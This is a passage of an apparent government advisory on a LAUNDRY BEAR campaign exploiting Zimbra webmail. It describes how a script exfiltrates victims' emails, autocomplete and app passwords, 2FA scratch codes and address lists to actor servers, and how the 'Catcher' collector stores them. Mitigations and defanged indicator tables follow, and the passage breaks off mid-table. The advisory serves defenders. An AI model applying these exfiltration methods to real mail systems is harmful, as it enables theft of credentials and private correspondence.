<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
